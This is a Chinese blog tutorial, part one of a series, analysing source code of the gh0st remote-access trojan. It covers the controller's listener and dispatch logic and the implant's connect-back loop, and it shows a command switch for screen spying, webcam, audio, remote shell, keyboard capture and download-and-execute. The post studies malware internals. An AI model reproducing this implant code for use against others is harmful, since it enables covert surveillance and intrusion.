C++开源项目研究——gh0st远控(一)

上一节我们讲过肉机最关键的一步就是通过connect来连接指定的主控端

if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)   
		return false;

其实在次之前应当是主控端先监听相应的端口,然后肉机再来连接这个端口的

在主控端的OnInitDialog当中调用:listenPort();    //开始监听端口

// 监听端口
void CPCRemoteDlg::listenPort()
{
	int	nPort = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort");         //读取ini文件中的监听端口
	int	nMaxConnection = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection");   //读取最大连接数
	if (nPort == 0)
		nPort = 80;
	if (nMaxConnection == 0)
		nMaxConnection = 10000;
	Activate(nPort, nMaxConnection);             //开始监听
}

我们跟进Activate函数:

void CPCRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
{
	CString		str;

	if (m_iocpServer != NULL)
	{
		m_iocpServer->Shutdown();
		delete m_iocpServer;

	}
	m_iocpServer = new CIOCPServer;

	// 开启IPCP服务器 最大连接  端口     查看NotifyProc回调函数  函数定义
	if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort))
	{

		char hostname[256];
		gethostname(hostname, sizeof(hostname));
		HOSTENT* host = gethostbyname(hostname);
		if (host != NULL)
		{
			for (int i = 0; ; i++)
			{
				str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
				if (host->h_addr_list[i] + host->h_length >= host->h_name)
					break;
				str += "/";
			}
		}

		str.Format("监听端口: %d成功", nPort);
		showMessage(true, str);
	}
	else
	{
		str.Format("监听端口: %d失败", nPort);
		showMessage(false, str);
	}
}

比较关键的就是m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort)

其中第一个参数NotifyProc是一个回调函数,原型为:

typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);

回调函数其实就是函数指针的一种特殊形式(二者是共性与个性,一般与个别的关系😋)

//函数指针
typedef void(_cdecl* TestRunT)(char* strHost, int nPort);

//回调函数
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);

Initialize函数当中创建了ListenThreadProc线程用来处理端口的监听,至于怎么监听的细节就不再展开

//开启监听线程  跟进ListenThreadProc
	m_hThread =
			(HANDLE)_beginthreadex(NULL,				// Security
									 0,					// Stack size - use default
									 ListenThreadProc,  // Thread fn entry point
									 (void*) this,	    
									 0,					// Init flag
									 &dwThreadId);	// Thread address

我们来看一下几处回调函数调用的位置:

1)一处是在OnAccept处,表示有连接到来

m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); 

2)另外比较关键的一处是在OnClientReading,对应完整接收:NC_RECEIVE_COMPLETE

if (nRet == Z_OK)   //如果完整接收
				{
					//写入数据
					pContext->m_DeCompressionBuffer.ClearBuffer();
					pContext->m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
					 //调用回调函数传递  NC_RECEIVE_COMPLETE  到回调函数看一下 
					m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);   
				}

3)当然OnClientWriting这个位置也挺重要,主要是负责给肉机发送命令

OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);

m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);        //调用一下回调函数

至于OnClientReading的调用时机大家可以自行研究,在此不再赘述

以下是NotifyProc的完整代码:

/
// CMainFrame message handlers
// NotifyProc是这个socket内核的核心  所有的关于socket 的处理都要调用这个函数
void CALLBACK CPCRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode)
{
	/*if (TEST_MODE) {
		::MessageBox(NULL, "有连接到来!!", "", NULL);
	}*/
	try
	{
		switch (nCode)
		{
		case NC_CLIENT_CONNECT:
			break;
		case NC_CLIENT_DISCONNECT:
			//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
			break;
		case NC_TRANSMIT:
			break;
		case NC_RECEIVE:
			//ProcessReceive(pContext);        //这里是有数据到来 但没有完全接收  大家可能会奇怪他怎么知道没有完全接收呢?
											   //回到OnClientReading 继续向下分析
			break;
		case NC_RECEIVE_COMPLETE:
			ProcessReceiveComplete(pContext);      //就是这里 数据解压 还原后在调用 ProcessReceiveComplete 转到ProcessReceiveComplete
			break;
		}
	}
	catch (...) {}
  }

进入ProcessReceiveComplete函数也就进入了主控端接收消息的核心代码位置了:

//处理所有服务端发送来的消息
void CPCRemoteDlg::ProcessReceiveComplete(ClientContext* pContext)
{
	if (pContext == NULL)
		return;

	// 如果管理对话框打开,交给相应的对话框处理
	CDialog* dlg = (CDialog*)pContext->m_Dialog[1];      //这里就是ClientContext 结构体的int m_Dialog[2];

	// 交给窗口处理
	if (pContext->m_Dialog[0] > 0)                //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
	{
		switch (pContext->m_Dialog[0])
		{
		case SYSTEM_DLG:
			((CSystemDlg *)dlg)->OnReceiveComplete();
			break;
		case SHELL_DLG:
			((CShellDlg *)dlg)->OnReceiveComplete();
			break;
		default:
			break;
		}
		return;
	}

	switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])   //如果没有赋值就判断是否是上线包和打开功能功能窗口
	{
	case TOKEN_LOGIN: // 上线包

	{
		//这里处理上线
		if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount())
		{
			closesocket(pContext->m_Socket);
		}
		else
		{
			pContext->m_bIsMainSocket = true;
			g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
		}
		// 激活
		BYTE	bToken = COMMAND_ACTIVED;
		m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
	}

	break;
	
	case TOKEN_PSLIST:
		g_pPCRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_SHELL_START:
		g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
		break;
		// 命令停止当前操作
	default:
		closesocket(pContext->m_Socket);
		break;
	}
}

其中包括:

1)第一次的上线包:

case TOKEN_LOGIN: // 上线包

	{
		//这里处理上线
		if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount())
		{
			closesocket(pContext->m_Socket);
		}
		else
		{
			pContext->m_bIsMainSocket = true;
			g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
		}
		// 激活
		BYTE	bToken = COMMAND_ACTIVED;
		m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
	}

2)第一次打开具体对话框的命令

case TOKEN_PSLIST:
		g_pPCRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
		break;
	case TOKEN_SHELL_START:
		g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
		break;

当然打开对话框由于需要显示的东西需要从肉机那里获取,所以肯定还是要给他发消息的:

BOOL CSystemDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// TODO:  在此添加额外的初始化

	SetIcon(m_hIcon, TRUE);//设置大图标
	SetIcon(m_hIcon, FALSE);//设置小图标


	sockaddr_in  sockAddr;
	CString str;
	int nSockAddrLen = sizeof(sockAddr);
	BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); //得到连接的ip 
	str.Format("布布の进程管理——被控主机:%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");//转化为". . . ."形式的IP地址
	SetWindowText(str);//设置对话框标题

	m_tab.InsertItem(0, "进程管理");    //为tab设置标题
	m_tab.InsertItem(1, "窗口管理");
	m_tab.InsertItem(2, "拨号密码");

	//初始化进程的列表
		m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
		m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
		m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
		m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);

		//初始化 窗口管理的列表
		m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
		m_list_windows.InsertColumn(0, "窗口句柄", LVCFMT_LEFT, 100);
		m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 320);
		m_list_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 100);

	
	//初始化各个列表的大小
	AdjustList(); 
	ShowProcessList();   //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
	ShowSelectWindow();   //显示列表
	return TRUE;  // return TRUE unless you set the focus to a control
				  // 异常: OCX 属性页应返回 FALSE
}

 3)如果管理对话框打开,交给相应的对话框处理

if (pContext->m_Dialog[0] > 0)                //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
	{
		switch (pContext->m_Dialog[0])
		{
		case SYSTEM_DLG:
			((CSystemDlg *)dlg)->OnReceiveComplete();
			break;
		case SHELL_DLG:
			((CShellDlg *)dlg)->OnReceiveComplete();
			break;
		default:
			break;
		}
		return;
	}

这样从理论上来讲,就是主控端的对话框已经能打开并且能够和肉机进行收发数据了,此时如果能正确接收肉机发来的数据,就能完美地显示出来了!

然后我们看回肉机端:连接成功之后,执行工作线程WorkThread

//---连接成功,开启工作线程  转到WorkThread
	m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);

WorkThread部分的代码

如果主控端没有退出,就一直陷在这个循环中:while (pThis->IsRunning()),之后等待主控端的唤醒即可(主控端有任务派发给肉机就会将其唤醒)

退出的时候给肉机发送关闭消息,让他紫砂即可

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)   
{
	CClientSocket *pThis = (CClientSocket *)lparam;
	char	buff[MAX_RECV_BUFFER];
	fd_set fdSocket;
	FD_ZERO(&fdSocket);
	FD_SET(pThis->m_Socket, &fdSocket);
	while (pThis->IsRunning())                //---如果主控端 没有退出,就一直陷在这个循环中
	{
		fd_set fdRead = fdSocket;
		int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接
		if (nRet == SOCKET_ERROR)      
		{
			pThis->Disconnect();
			break;
		}
		if (nRet > 0)
		{
			memset(buff, 0, sizeof(buff));
			int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据
			if (nSize <= 0)
			{
				pThis->Disconnect();//---接收错误处理
				break;
			}
			if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用 OnRead处理 转到OnRead
		}
	}
	return -1;
}

几个关键位置的代码: 

1)int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接

注:select 函数是用于多路复用 I/O 操作的系统调用之一,它允许程序同时监视多个文件描述符,等待其中任何一个或多个变为可读、可写或出现异常。它常用于实现高效的并发网络编程,比如服务器端同时处理多个客户端连接的情况。 在调用 select 函数后,它会阻塞程序执行

select 函数会返回一个整数值,表示就绪文件描述符的数量。如果超时发生,返回值为 0;如果出错,返回值为 -1。

2)int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据

if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用 OnRead处理

3)OnRead

其中关键的代码:

//解压数据看看是否成功,如果成功则向下进行
				unsigned long	destLen = nUnCompressLength;
				int	nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
				//
				if (nRet == Z_OK)//---如果解压成功
				{
					m_DeCompressionBuffer.ClearBuffer();
					m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
					//调用	m_pManager->OnReceive函数  转到m_pManager 定义
					m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
				}

其中OnReceive函数的原型是一个虚函数

virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

我们来观察m_pManager的来源为pManager

void CClientSocket::setManagerCallBack( CManager *pManager )
{
	m_pManager = pManager;
}

在dllmain当中调用了setManagerCallBack函数 

//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
		CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
		socketClient.setManagerCallBack(&manager);

也就是使用基类指针CManager *pManager指向了派生类对象CKernelManager    manager

兜兜转转一大圈就是说OnReceive动态多态调用的是CKernelManager重写的OnReceive

因此我们进入CKernelManager::OnReceive

//---这里就处理主控端发送来的数据  每一种功能都有一个线程函数对应转到Loop_FileManager
// 加上激活
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_ACTIVED:
		InterlockedExchange((LONG *)&m_bIsActived, true);
		break;
	case COMMAND_LIST_DRIVE: // 文件管理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, false);
		break;
	case COMMAND_SCREEN_SPY: // 屏幕查看
 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
 			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_WEBCAM: // 摄像头
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_AUDIO: // 摄像头
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SHELL: // 远程sehll
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_KEYBOARD: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break; 
	case COMMAND_SYSTEM: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;

	case COMMAND_DOWN_EXEC: // 下载者
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		Sleep(100); // 传递参数用
		break;
	case COMMAND_OPEN_URL_SHOW: // 显示打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
		break;
	case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
		break;
	case COMMAND_UPDATE_SERVER: // 更新服务端
		if (UpdateServer((char *)lpBuffer + 1))
			UnInstallService();
		break;
	case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
		break;
	}	
}

不难发现CKernelManager会根据lpBuffer[0]来判断是想要执行哪个功能,然后创建对应的线程来处理主控端发过来的任务,根据lpBuffer当中的其他信息来具体化任务

比如Loop_ScreenManager当中:

DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
	CClientSocket	socketClient;
	if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
		return -1;
	
	CScreenManager	manager(&socketClient);

	socketClient.run_event_loop();
	return 0;
}

 而CScreenManager的构造函数就要执行主控端交代的具体任务了

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
	m_bAlgorithm = ALGORITHM_SCAN;
	m_biBitCount = 8;
	m_pScreenSpy = new CScreenSpy(8);
	m_bIsWorking = true;
	m_bIsBlankScreen = false;
	m_bIsBlockInput = false;
	m_bIsCaptureLayer = false;

	m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
	m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}

刑了,今天的你就到此为止吧,明天还要接着浪啊!🎃🎃 作者:布卍哥  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/499341.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2023年第十四届蓝桥杯大赛软件类省赛CC++大学C 组真题(代码完整题解)

C题-三国游戏⭐ 标签&#xff1a;贪心 简述&#xff1a;三个国家初始人数都为0&#xff0c;n个事件&#xff0c;第i个事件若发生每个国家分别加Ai&#xff0c;Bi&#xff0c;Ci人&#xff0c;求最多发生几个事件使得两个国家人数之和小于第三国 链接&#xff1a;三国游戏 思…

深入解析消息认证码(MAC)算法:HmacMD5与HmacSHA1

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 目录 引言一、消息认证码&#xff08;MAC&#xff09;简介二、HmacMD5算法HmacMD5算法的工作原理 三、HmacSHA1算法HmacSHA1算法的…

直流马达驱动芯片D6289ADA介绍

应用领域 适用于智能断路器&#xff08;家用或工业智能空开&#xff09;、新能源汽车充电枪锁、电动玩具、电磁门锁、自动阀门等的直流电机驱动。 功能介绍 D6289ADA是一款直流马达驱动芯片&#xff0c;它有两个逻辑输入端子用来控制电机前进、后退及制动。该电路具有良好的抗干…

2024软件设计师备考讲义——(8)

操作系统 〇、操作系统概述 OS作用、OS特征、OS分类 作用&#xff1a;提高计算机效率&#xff0c;人机交互友好特征&#xff1a;并发性、共享性、虚拟性、不确定性分类&#xff1a;批处理、分时、实时、网络、分布式、微机嵌入式操作系统&#xff1a;微型化、可定制、实时性、可…

岭师大数据技术原理与应用-序章-软工版

HeZaoCha-CSDN博客 序章—软工版 一、环境介绍1. VMware Workstation Pro2. CentOS3. Java4. Hadoop5. HBase6. MySQL7. Hive 二、系统安装1. 虚拟网络编辑器2. 操作系统安装 三、结尾 先说说哥们写这系列博客的原因&#xff0c;本来学完咱也没想着再管部署这部分问题的说&…

卷积神经网络(CNN)——基础知识整理

文章目录 1、卷积神经网络 2、图片格式 3、图片卷积运算 4、Kernel 与 Feature Map 5、padding/边缘填充 6、Stride/步长 7、pooling/池化 8、shape 9、epoch、batch、Batch Size、step 10、神经网络 11、激活函数 1、卷积神经网络 既然叫卷积神经网络&#xff0c;这里面首先是…

设计模式——结构型——外观模式Facade

处理器类 public class Cpu {public void start() {System.out.println("处理器启动了...");} } 内存类 public class Memory {public void start() {System.out.println("内存启动了...");} } 硬盘类 public class Disk {public void start() {Syste…

【娱乐】战双帕弥什游戏笔记攻略

文章目录 Part.I IntroductionChap.I Information Part.II 新手攻略Chap.I 角色和武器挑选Chap.II 新手意识推荐 Part.II 阵容搭配Chap.I 一拖二Chap.II 毕业队 Reference Part.I Introduction 2019年12月5日全平台公测。 偶然间入坑战双&#xff0c;玩了几天&#xff0c;觉得…

V R虚拟现实元宇宙的前景|虚拟现实体验店加 盟合作|V R设备在线购买

VR&#xff08;虚拟现实&#xff09;技术作为一种新兴的技术&#xff0c;正在逐渐改变人们的生活和工作方式。随着技术的不断进步&#xff0c;人们对于元宇宙的概念也越来越感兴趣。元宇宙是一个虚拟世界&#xff0c;通过VR技术可以实现人们在其中进行各种活动和交互。 元宇宙的…

戴尔灵越3000来说2.5G的双核显存能干啥?

吃鸡已经成为大家耳熟能详的网络游戏。 很多人认为&#xff0c;想要享受吃鸡的乐趣&#xff0c;就必须组装一台高端电脑。 虽然配置越高越好&#xff0c;但现实是很多配置都是以性能为标准的。 有余了&#xff0c;没必要刻意追求高配置、高特效。 说实话&#xff0c;吃鸡不一定…

【Qt】:多种方式编辑hello world

多种方式编辑hello world 一.QLabel二.对象树三.使用单行编辑框四.使用按钮 (小技巧&#xff1a;1.可以使用F4来进行头文件和对应cpp文件的切换&#xff1b;2.写完一个函数的声名之后,按下altenter,就可以自动的在对应的cpp 文件中添加函数的定义了.) 一.QLabel 注意这里是QSt…

数据可视化基础与应用-04-seaborn库从入门到精通01-02

总结 本系列是数据可视化基础与应用的第04篇seaborn&#xff0c;是seaborn从入门到精通系列第1-2篇。本系列的目的是可以完整的完成seaborn从入门到精通。主要介绍基于seaborn实现数据可视化。 参考 参考:数据可视化-seaborn seaborn从入门到精通01-seaborn介绍与load_datas…

【SpringCloud】Ribbon负载均衡

&#x1f3e1;浩泽学编程&#xff1a;个人主页 &#x1f525; 推荐专栏&#xff1a;《深入浅出SpringBoot》《java对AI的调用开发》 《RabbitMQ》《Spring》《SpringMVC》《项目实战》 &#x1f6f8;学无止境&#xff0c;不骄不躁&#xff0c;知行合一 文章目录 …

java多线程中的阻塞队列

一、普通不阻塞队列 还记得队列我们如何实现吗&#xff1f;我们用的是循环队列的方式&#xff0c;回一下&#xff1a; 描述&#xff1a;开始tail和head指针都指向最开始位置&#xff0c;往里面添加元素tail&#xff0c;出元素head 初始状态&#xff1a; put元素后状态 take…

KOSMOS-2.5: A Multimodal Literate Model

KOSMOS-2.5: A Multimodal Literate Model 相关链接&#xff1a;arXiv 关键字&#xff1a;multimodal、literate model、text-intensive images、Transformer architecture、document-level text recognition 摘要 我们介绍了KOSMOS-2.5&#xff0c;这是一个用于机器阅读文本密…

2024知乎广告推广怎么做,知乎推广教程!

随着社交媒体影响力的日益增强&#xff0c;知乎作为中国高质量知识分享社区的代表&#xff0c;已经成为品牌方精准触达目标受众的重要阵地。云衔科技凭借其专业的一站式广告服务能力&#xff0c;为企业提供知乎广告开户及代运营解决方案&#xff0c;助力企业在知乎平台上实现品…

这6个png免抠素材网,免费下载,值得收藏!

找png免抠素材&#xff0c;就上这6个网站&#xff0c;免费下载&#xff0c;可商用。设计师必备&#xff0c;赶紧收藏&#xff01; 1、菜鸟图库 https://www.sucai999.com/searchlist/66008----all-0-1.html?vNTYxMjky 网站主要分享设计素材为主。像平面海报、免抠元素、背景图…

前端学习<二>CSS基础——08-CSS属性:定位属性

CSS的定位属性有三种&#xff0c;分别是绝对定位、相对定位、固定定位。 position: absolute; <!-- 绝对定位 -->​position: relative; <!-- 相对定位 -->​position: fixed; <!-- 固定定位 -->​ 下面逐一介绍。 相对定位 相对定位&#xff1a;让…

经典永不过时 Wordpress模板主题

经得住时间考验的模板&#xff0c;才是经典模板&#xff0c;带得来客户的网站&#xff0c;才叫NB网站。 https://www.jianzhanpress.com/?p2484

用xshell或ftp连接本地虚拟机linux系统,centos7修改动态ip地址

如果不知道怎么下载vm本地虚拟机软件或者不知道怎么安装可以参考我上一篇博客 vmWare虚拟机下载安装详细教程,手把手一步一步教学-CSDN博客 安装好虚拟机软件我们想要通过xshell和ftp工具来管理,小黑框不太舒服哈哈哈 一.准备工作 输入命令来查看当前的ip地址 ip addr 可以…
最新文章